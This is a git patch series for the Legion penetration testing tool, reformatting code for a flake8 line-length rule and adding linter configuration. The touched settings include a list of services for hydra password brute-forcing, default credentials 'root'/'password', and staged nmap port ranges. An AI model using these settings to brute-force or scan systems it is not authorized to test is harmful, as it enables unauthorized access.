+ basename.return_value = "some-tool" + self.mockShell.directoryOrFileExists.side_effect = [False, False, False, False, True] + self.mockShell.isFile.return_value = True + + self.toolCoordinator.saveToolOutput(self.outputFolder, fileName) + self.mockShell.move.assert_called_once_with("some-output-txt-file.txt", "some-output-folder/some-tool") diff --git a/ui/gui.py b/ui/gui.py index 1ed21197..c2426836 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -13,10 +13,11 @@ from PyQt5 import QtWidgets, QtGui, QtCore from PyQt5.QtGui import QColor + +from app.logging.legionLog import log from ui.dialogs import * # for the screenshots (image viewer) from ui.ancillaryDialog import * from utilities.qtLogging import * -import logging try: _fromUtf8 = QtCore.QString.fromUtf8 diff --git a/ui/view.py b/ui/view.py index 9a8c4289..9422764f 100644 --- a/ui/view.py +++ b/ui/view.py @@ -432,7 +432,7 @@ def connectImportNmap(self): def importNmap(self): self.ui.statusbar.showMessage('Importing nmap xml..', msecs=1000) filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Choose nmap file', self.controller.getCWD(), filter='XML file (*.xml)')[0] - log.info('Importing nmap xml from {0}...'.format(str(filename))) + log.info('Importing nmap xml from {0}...'.format(str(filename))) if not filename == '': if not os.access(filename, os.R_OK): # check for read permissions on the xml file log.info('Insufficient permissions to read this file.') From a5950137354b6c95c32e9b8a2cd16c22a60ea0f8 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sat, 19 Oct 2019 22:37:24 -0400 Subject: [PATCH 311/450] Introduce flake8 linter Enabled a single rule (E501) - line length enforcement set to 120 chars per line (as per configuration file `.flake8`) --- .flake8 | 4 + .travis.yml | 2 +- README.md | 1 + app/Screenshooter.py | 5 +- app/auxiliary.py | 8 +- app/cvemodels.py | 25 +- app/hostmodels.py | 30 +- app/importers/NmapImporter.py | 28 +- app/importers/PythonImporter.py | 5 +- app/processmodels.py | 35 ++- app/scriptmodels.py | 26 +- app/servicemodels.py | 50 ++-- app/settings.py | 34 ++- controller/controller.py | 215 ++++++++------ deps/primeExploitDb.py | 2 + legion.py | 6 +- parsers/Host.py | 6 +- parsers/Script.py | 8 +- parsers/Session.py | 5 +- requirements.txt | 1 + test.py => tests/test.py | 0 ui/addHostDialog.py | 56 ++-- ui/ancillaryDialog.py | 16 +- ui/configDialog.py | 16 +- ui/dialogs.py | 50 ++-- ui/gui.py | 80 ++++-- ui/helpDialog.py | 25 +- ui/settingsDialog.py | 249 +++++++++++------ ui/view.py | 482 +++++++++++++++++++++----------- utilities/stenoLogging.py | 7 +- 30 files changed, 968 insertions(+), 509 deletions(-) create mode 100644 .flake8 rename test.py => tests/test.py (100%) diff --git a/.flake8 b/.flake8 new file mode 100644 index 00000000..90942d1b --- /dev/null +++ b/.flake8 @@ -0,0 +1,4 @@ +[flake8] +select=E501 +exclude=.git,.idea,tmp,backup +max-line-length: 120 \ No newline at end of file diff --git a/.travis.yml b/.travis.yml index 5387dd27..c096d2a5 100644 --- a/.travis.yml +++ b/.travis.yml @@ -16,7 +16,7 @@ install: - bash ./deps/installPythonLibs.sh script: - - python ./test.py + - flake8 - python -m unittest after_success: diff --git a/README.md b/README.md index a7c7bb8e..c19b7162 100644 --- a/README.md +++ b/README.md @@ -2,6 +2,7 @@ [![Build Status](https://travis-ci.com/GoVanguard/legion.svg?branch=master)](https://travis-ci.com/GoVanguard/legion) [![Known Vulnerabilities](https://snyk.io/test/github/GoVanguard/legion/badge.svg?targetFile=requirements.txt)](https://snyk.io/test/github/GoVanguard/legion?targetFile=requirements.txt) [![Maintainability](https://api.codeclimate.com/v1/badges/4e33e52aab8f49cdcd02/maintainability)](https://codeclimate.com/github/GoVanguard/legion/maintainability) +![Linter](https://img.shields.io/badge/linter-flake8-brightgreen) [![Analytics](https://ga-beacon-gvit.appspot.com/UA-126307374-3/legion/readme)](https://github.com/GoVanguard/legion) diff --git a/app/Screenshooter.py b/app/Screenshooter.py index 28ebe61d..7b40c38f 100644 --- a/app/Screenshooter.py +++ b/app/Screenshooter.py @@ -74,8 +74,9 @@ def run(self): def save(self, url, ip, port, outputfile): self.tsLog('Saving screenshot as: ' + str(outputfile)) - command = 'xvfb-run --server-args="-screen 0:0, 1024x768x24" /usr/bin/cutycapt --url="{url}/" --max-wait=5000 --out="{outputfolder}/{outputfile}"'.format( - url=url, outputfolder=self.outputfolder, outputfile=outputfile) + command = 'xvfb-run --server-args="-screen 0:0, 1024x768x24" /usr/bin/cutycapt --url="{url}/"' + \ + ' --max-wait=5000 --out="{outputfolder}/{outputfile}"' \ + .format(url=url, outputfolder=self.outputfolder, outputfile=outputfile) p = subprocess.Popen(command, shell=True) p.wait() # wait for command to finish self.done.emit(ip, port, outputfile) # send a signal to add the 'process' to the DB diff --git a/app/auxiliary.py b/app/auxiliary.py index 6e96761d..bbbffdbc 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -163,7 +163,8 @@ def readStdOutput(self): output = str(self.readAllStandardOutput()) self.display.appendPlainText(unicode(output).strip()) - if self.name == 'hydra': # check if any usernames/passwords were found (if so emit a signal so that the gui can tell the user about it) + # check if any usernames/passwords were found (if so emit a signal so that the gui can tell the user about it) + if self.name == 'hydra': found, userlist, passlist = checkHydraResults(output) if found: # send the brutewidget object along with lists of found usernames/passwords self.sigHydra.emit(self.display.parentWidget(), userlist, passlist) @@ -204,8 +205,9 @@ def run(self): else: webbrowser.open_new_tab('http://' + url) if i == 0: - self.sleep( - 3) # fixes bug in Kali. have to sleep on first url so the next ones don't open a new browser instead of adding a new tab + # fixes bug in Kali. have to sleep on first url so the next ones don't open a new browser + # instead of adding a new tab + self.sleep(3) else: self.sleep(1) # fixes bug when several calls to urllib occur too fast (interrupted system call) diff --git a/app/cvemodels.py b/app/cvemodels.py index b8b342fd..b03ac689 100644 --- a/app/cvemodels.py +++ b/app/cvemodels.py @@ -1,15 +1,20 @@ #!/usr/bin/env python -''' +""" LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + You should have received a copy of the GNU General Public License along with this program. + If not, see . +""" import re from PyQt5 import QtWidgets, QtGui, QtCore @@ -45,9 +50,9 @@ def headerData(self, section, orientation, role): else: return "not implemented" - def data(self, index, role): # this method takes care of how the information is displayed + def data(self, index, role): # this method takes care of how the information is displayed - if role == QtCore.Qt.DisplayRole or role == QtCore.Qt.EditRole: # how to display each cell + if role == QtCore.Qt.DisplayRole or role == QtCore.Qt.EditRole: # how to display each cell value = '' row = index.row() column = index.column() @@ -70,7 +75,6 @@ def data(self, index, role): # this metho elif column == 8: value = self.__cves[row]['exploitUrl'] return value - def sort(self, Ncol, order): self.layoutAboutToBeChanged.emit() @@ -104,14 +108,15 @@ def sort(self, Ncol, order): for i in range(len(self.__cves)): array.append(self.__cves[i]['exploitUrl']) - sortArrayWithArray(array, self.__cves) # sort the services based on the values in the array + sortArrayWithArray(array, self.__cves) # sort the services based on the values in the array if order == Qt.AscendingOrder: # reverse if needed self.__cves.reverse() self.layoutChanged.emit() - def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + def flags(self, index): return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEditable ### getter functions ### diff --git a/app/hostmodels.py b/app/hostmodels.py index 84d4ad63..0ba7eb8e 100644 --- a/app/hostmodels.py +++ b/app/hostmodels.py @@ -1,15 +1,21 @@ #!/usr/bin/env python -''' +""" LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +""" import re from PyQt5 import QtWidgets, QtGui, QtCore @@ -43,11 +49,11 @@ def headerData(self, section, orientation, role): else: return "not implemented in view model" - def data(self, index, role): # this method takes care of how the information is displayed - if role == QtCore.Qt.DecorationRole: # to show the operating system icon instead of text + def data(self, index, role): # this method takes care of how the information is displayed + if role == QtCore.Qt.DecorationRole: # to show the operating system icon instead of text if index.column() == 1: # if trying to display the operating system os_string = self.__hosts[index.row()]['osMatch'] - if os_string == '': # if there is no OS information, use the question mark icon + if os_string == '': # if there is no OS information, use the question mark icon return QtGui.QIcon("./images/question-icon.png") elif re.search('[lL]inux', os_string, re.I): @@ -68,7 +74,7 @@ def data(self, index, role): # this metho elif re.search('[vV]m[wW]are', os_string, re.I): return QtGui.QIcon("./images/vmware-big.jpg") - else: # if it's an unknown OS also use the question mark icon + else: # if it's an unknown OS also use the question mark icon return QtGui.QIcon("./images/question-icon.png") if role == QtCore.Qt.DisplayRole: # how to display each cell @@ -120,10 +126,12 @@ def data(self, index, role): # this metho checkedFont.setItalic(True) return checkedFont - def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + def flags(self, index): return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable # add QtCore.Qt.ItemIsEditable to edit item - def sort(self, Ncol, order): # sort function called when the user clicks on a header + # sort function called when the user clicks on a header + def sort(self, Ncol, order): self.layoutAboutToBeChanged.emit() array = [] diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index 262fa191..39f61b48 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -149,11 +149,15 @@ def run(self): s = p.getService() if not (s is None): # check if service already exists to avoid adding duplicates - # print(" Found service {service} for port {port}".format(service=str(s.name),port=str(p.portId))) - # db_service = session.query(serviceObj).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() + # print(" Found service {service} for port {port}".format(service=str(s.name), + # port=str(p.portId))) + # db_service = session.query(serviceObj).filter_by(name=s.name).filter_by(product=s.product). + # filter_by(version=s.version).filter_by(extrainfo=s.extrainfo). + # filter_by(fingerprint=s.fingerprint).first() db_service = session.query(serviceObj).filter_by(name=s.name).first() if not db_service: - # print("Did not find service *********** name={0} prod={1} ver={2} extra={3} fing={4}".format(s.name, s.product, s.version, s.extrainfo, s.fingerprint)) + # print("Did not find service *********** name={0} prod={1} ver={2} extra={3} fing={4}". + # format(s.name, s.product, s.version, s.extrainfo, s.fingerprint)) db_service = serviceObj(s.name, s.product, s.version, s.extrainfo, s.fingerprint) session.add(db_service) # else: @@ -249,14 +253,15 @@ def run(self): db_os.osAccuracy = os.accuracy # update the accuracy - if not os.name == '': # get the most accurate OS match/accuracy to store it in the host table for easier access + # get the most accurate OS match/accuracy to store it in the host table for easier access + if not os.name == '': if os.accuracy > tmp_accuracy: tmp_name = os.name tmp_accuracy = os.accuracy if os_nodes: # if there was operating system info to parse - - if not tmp_name == '' and not tmp_accuracy == '0': # update the current host with the most accurate OS match + # update the current host with the most accurate OS match + if not tmp_name == '' and not tmp_accuracy == '0': db_host.osMatch = tmp_name db_host.osAccuracy = tmp_accuracy @@ -279,7 +284,9 @@ def run(self): for p in h.all_ports(): s = p.getService() if not (s is None): - # db_service = session.query(serviceObj).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() + # db_service = session.query(serviceObj).filter_by(name=s.name).filter_by(product=s.product). + # filter_by(version=s.version).filter_by(extrainfo=s.extrainfo). + # filter_by(fingerprint=s.fingerprint).first() db_service = session.query(serviceObj).filter_by(name=s.name).first() else: db_service = None @@ -293,12 +300,13 @@ def run(self): db_port.state = p.state session.add(db_port) - if not ( - db_service is None) and db_port.serviceId != db_service.id: # if there is some new service information, update it + # if there is some new service information, update it + if not (db_service is None) and db_port.serviceId != db_service.id: db_port.serviceId = db_service.id session.add(db_port) - for scr in p.getScripts(): # store the script results (note that existing script outputs are also kept) + # store the script results (note that existing script outputs are also kept) + for scr in p.getScripts(): db_script = session.query(l1ScriptObj).filter_by(scriptId=scr.scriptId).filter_by( portId=db_port.id).first() diff --git a/app/importers/PythonImporter.py b/app/importers/PythonImporter.py index bf1d9487..9317461e 100644 --- a/app/importers/PythonImporter.py +++ b/app/importers/PythonImporter.py @@ -50,11 +50,12 @@ def setPythonScript(self, pythonScript): def setOutput(self, output): self.output = output - def run(self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing + # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing + def run(self): try: session = self.db.session() startTime = time() - self.db.dbsemaphore.acquire() # ensure that while this thread is running, no one else can write to the DB + self.db.dbsemaphore.acquire() # ensure that while this thread is running, no one else can write to the DB #self.setPythonScript(self.pythonScript) db_host = session.query(hostObj).filter_by(ip = self.hostIp).first() self.pythonScriptObj.setDbHost(db_host) diff --git a/app/processmodels.py b/app/processmodels.py index 905ef57f..e13d8a1e 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -1,15 +1,20 @@ #!/usr/bin/env python -''' +""" LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + You should have received a copy of the GNU General Public License along with this program. + If not, see . +""" import re from PyQt5 import QtWidgets, QtGui, QtCore @@ -47,12 +52,16 @@ def headerData(self, section, orientation, role): else: return "not implemented" - def data(self, index, role): # this method takes care of how the information is displayed - if role == QtCore.Qt.DisplayRole or role == QtCore.Qt.EditRole: # how to display each cell + # this method takes care of how the information is displayed + def data(self, index, role): + if role == QtCore.Qt.DisplayRole or role == QtCore.Qt.EditRole: # how to display each cell value = '' row = index.row() column = index.column() - processColumns = {0:'progress', 1:'display', 2:'elapsed', 3:'estimatedRemaining', 4:'pid', 5:'name', 6:'tabTitle', 7:'hostIp', 8:'port', 9:'protocol', 10:'command', 11:'startTime', 12:'endTime', 13:'outputfile', 14:'output', 15:'status', 16:'closed'} + processColumns = {0: 'progress', 1: 'display', 2: 'elapsed', 3: 'estimatedRemaining', + 4: 'pid', 5: 'name', 6: 'tabTitle', 7: 'hostIp', 8: 'port', 9: 'protocol', 10: 'command', + 11: 'startTime', 12: 'endTime', 13: 'outputfile', 14: 'output', 15: 'status', + 16: 'closed'} try: if column == 0: value = '' @@ -68,7 +77,8 @@ def data(self, index, role): # this metho pid = int(self.__processes[row]['pid']) elapsed = round(self.__controller.controller.processMeasurements.get(pid, 0), 2) estimatedRemaining = int(self.__processes[row]['estimatedRemaining']) - float(elapsed) - value = "{0:.2f}{1}".format(float(estimatedRemaining), "s") if estimatedRemaining >= 0 else 'Unknown' + value = "{0:.2f}{1}"\ + .format(float(estimatedRemaining), "s") if estimatedRemaining >= 0 else 'Unknown' elif column == 6: if not self.__processes[row]['tabTitle'] == '': value = self.__processes[row]['tabTitle'] @@ -114,7 +124,7 @@ def sort(self, Ncol, order): for i in range(len(self.__processes)): array.append(self.__processes[i][field]) - sortArrayWithArray(array, self.__processes) # sort the services based on the values in the array + sortArrayWithArray(array, self.__processes) # sort the services based on the values in the array if order == Qt.AscendingOrder: # reverse if needed self.__processes.reverse() @@ -125,13 +135,14 @@ def sort(self, Ncol, order): self.__controller.processesTableViewSortColumn = field ## Extra? - #self.__controller.updateProcessesIcon() # to make sure the progress GIF is displayed in the right place + #self.__controller.updateProcessesIcon() # to make sure the progress GIF is displayed in the right place self.layoutChanged.emit() except: log.error("Failed to sort") pass - def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + def flags(self, index): return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEditable def setDataList(self, processes): diff --git a/app/scriptmodels.py b/app/scriptmodels.py index 9f5bbbd1..5c4ab218 100644 --- a/app/scriptmodels.py +++ b/app/scriptmodels.py @@ -1,15 +1,21 @@ #!/usr/bin/env python -''' +""" LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +""" import re from PyQt5 import QtWidgets, QtGui, QtCore @@ -45,7 +51,7 @@ def headerData(self, section, orientation, role): else: return "not implemented" - def data(self, index, role): # this method takes care of how the information is displayed + def data(self, index, role): # this method takes care of how the information is displayed if role == QtCore.Qt.DisplayRole: # how to display each cell value = '' @@ -57,7 +63,8 @@ def data(self, index, role): # this metho elif column == 1: value = self.__scripts[row]['scriptId'] elif column == 2: - if self.__scripts[row]['portId'] and self.__scripts[row]['protocol'] and not self.__scripts[row]['portId'] == '' and not self.__scripts[row]['protocol'] == '': + if self.__scripts[row]['portId'] and self.__scripts[row]['protocol'] and \ + not self.__scripts[row]['portId'] == '' and not self.__scripts[row]['protocol'] == '': value = self.__scripts[row]['portId'] + '/' + self.__scripts[row]['protocol'] else: value = '' @@ -77,14 +84,15 @@ def sort(self, Ncol, order): for i in range(len(self.__scripts)): array.append(int(self.__scripts[i]['portId'])) - sortArrayWithArray(array, self.__scripts) # sort the services based on the values in the array + sortArrayWithArray(array, self.__scripts) # sort the services based on the values in the array if order == Qt.AscendingOrder: # reverse if needed self.__scripts.reverse() self.layoutChanged.emit() - def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + def flags(self, index): return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable ### getter functions ### diff --git a/app/servicemodels.py b/app/servicemodels.py index de680265..53991568 100644 --- a/app/servicemodels.py +++ b/app/servicemodels.py @@ -1,15 +1,21 @@ #!/usr/bin/env python -''' +""" LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +""" from PyQt5 import QtWidgets, QtGui, QtCore from PyQt5.QtCore import pyqtSignal, QObject @@ -41,8 +47,8 @@ def headerData(self, section, orientation, role): else: return "not implemented" - def data(self, index, role): # this method takes care of how the information is displayed - + # this method takes care of how the information is displayed + def data(self, index, role): if role == QtCore.Qt.DecorationRole: # to show the open/closed/filtered icons if index.column() == 0 or index.column() == 2: tmp_state = self.__services[index.row()]['state'] @@ -59,12 +65,14 @@ def data(self, index, role): # this metho row = index.row() column = index.column() - if column == 0: - value = ' ' + self.__services[row]['ip'] # the spaces are needed for spacing with the icon that precedes the text + if column == 0: + # the spaces are needed for spacing with the icon that precedes the text + value = ' ' + self.__services[row]['ip'] elif column == 1: value = self.__services[row]['portId'] elif column == 2: - value = ' ' + self.__services[row]['portId'] # the spaces are needed for spacing with the icon that precedes the text + # the spaces are needed for spacing with the icon that precedes the text + value = ' ' + self.__services[row]['portId'] elif column == 3: value = self.__services[row]['protocol'] elif column == 4: @@ -92,10 +100,12 @@ def data(self, index, role): # this metho value = self.__services[row]['fingerprint'] return value - def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + def flags(self, index): return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEditable - def sort(self, Ncol, order): # sort function called when the user clicks on a header + # sort function called when the user clicks on a header + def sort(self, Ncol, order): self.layoutAboutToBeChanged.emit() array = [] @@ -136,7 +146,8 @@ def sort(self, Ncol, order): # sort funct value = value + ' (' + self.__services[i]['extrainfo'] + ')' array.append(value) - sortArrayWithArray(array, self.__services) # sort the services based on the values in the array + # sort the services based on the values in the array + sortArrayWithArray(array, self.__services) if order == Qt.AscendingOrder: # reverse if needed self.__services.reverse() @@ -185,7 +196,7 @@ def headerData(self, section, orientation, role): else: return "not implemented" - def data(self, index, role): # This method takes care of how the information is displayed + def data(self, index, role): # This method takes care of how the information is displayed if role == QtCore.Qt.DisplayRole: # how to display each cell value = '' @@ -194,19 +205,22 @@ def data(self, index, role): # This metho if column == 0: return self.__serviceNames[row]['name'] - def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + def flags(self, index): return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEditable - def sort(self, Ncol, order): # sort function called when the user clicks on a header + # sort function called when the user clicks on a header + def sort(self, Ncol, order): self.layoutAboutToBeChanged.emit() array = [] - if Ncol == 0: # if sorting by service name (and by default) + if Ncol == 0: # if sorting by service name (and by default) for i in range(len(self.__serviceNames)): array.append(self.__serviceNames[i]['name']) - sortArrayWithArray(array, self.__serviceNames) # sort the services based on the values in the array + # sort the services based on the values in the array + sortArrayWithArray(array, self.__serviceNames) if order == Qt.AscendingOrder: # reverse if needed self.__serviceNames.reverse() diff --git a/app/settings.py b/app/settings.py index bab46132..cb17b493 100644 --- a/app/settings.py +++ b/app/settings.py @@ -1,15 +1,21 @@ #!/usr/bin/env python -''' +""" LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +""" from app.auxiliary import * # for timestamp @@ -173,7 +179,8 @@ def backupAndSave(self, newSettings, saveBackup=True): self.actions.sync() -# This class first sets all the default settings and then overwrites them with the settings found in the configuration file +# This class first sets all the default settings and +# then overwrites them with the settings found in the configuration file class Settings(): def __init__(self, appSettings=None): @@ -192,7 +199,13 @@ def __init__(self, appSettings=None): self.brute_password_wordlist_path = "/usr/share/wordlists/" self.brute_default_username = "root" self.brute_default_password = "password" - self.brute_services = "asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" + self.brute_services = "asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get," + \ + "https-head,https-get,http-get-form,http-post-form,https-get-form," + \ + "https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s," + \ + "ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s," + \ + "mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s," + \ + "postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5," + \ + "ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" self.brute_no_username_services = "cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" self.brute_no_password_services = "oracle-sid,rsh,smtp-enum" @@ -201,7 +214,8 @@ def __init__(self, appSettings=None): self.tools_nmap_stage2_ports = "T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" self.tools_nmap_stage3_ports = "Vulners,CVE" self.tools_nmap_stage4_ports = "T:23,21,22,110,111,2049,3389,8080,U:500,5060" - self.tools_nmap_stage5_ports = "T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" + self.tools_nmap_stage5_ports = "T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048," + \ + "2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" self.tools_nmap_stage6_ports = "T:30000-65535" self.tools_path_nmap = "/sbin/nmap" @@ -270,8 +284,8 @@ def __init__(self, appSettings=None): self.gui_process_tab_detail = self.guiSettings['process-tab-detail'] except KeyError as e: - log.info( - 'Something went wrong while loading the configuration file. Falling back to default settings for some settings.') + log.info('Something went wrong while loading the configuration file. Falling back to default ' + + 'settings for some settings.') log.info('Go to the settings menu to fix the issues!') log.error(str(e)) diff --git a/controller/controller.py b/controller/controller.py index f6797d06..0c2876da 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -1,15 +1,21 @@ #!/usr/bin/env python -''' +""" LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +""" import signal # for file operations, to kill processes, for regex, for subprocesses import subprocess @@ -44,7 +50,9 @@ def __init__(self, view, logic): self.update = '08/12/2019' self.license = "GPL v3" - self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \nsuper-extensible and semi-automated network penetration testing tool that aids in discovery, \nreconnaissance and exploitation of information systems." + self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \n" + \ + "super-extensible and semi-automated network penetration testing tool that aids in " + \ + "discovery, \nreconnaissance and exploitation of information systems." self.smallIcon = './images/icons/Legion-N_128x128.svg' self.bigIcon = './images/icons/Legion-N_128x128.svg' @@ -54,7 +62,7 @@ def __init__(self, view, logic): self.view.startOnce() self.view.startConnections() - self.loadSettings() # creation of context menu 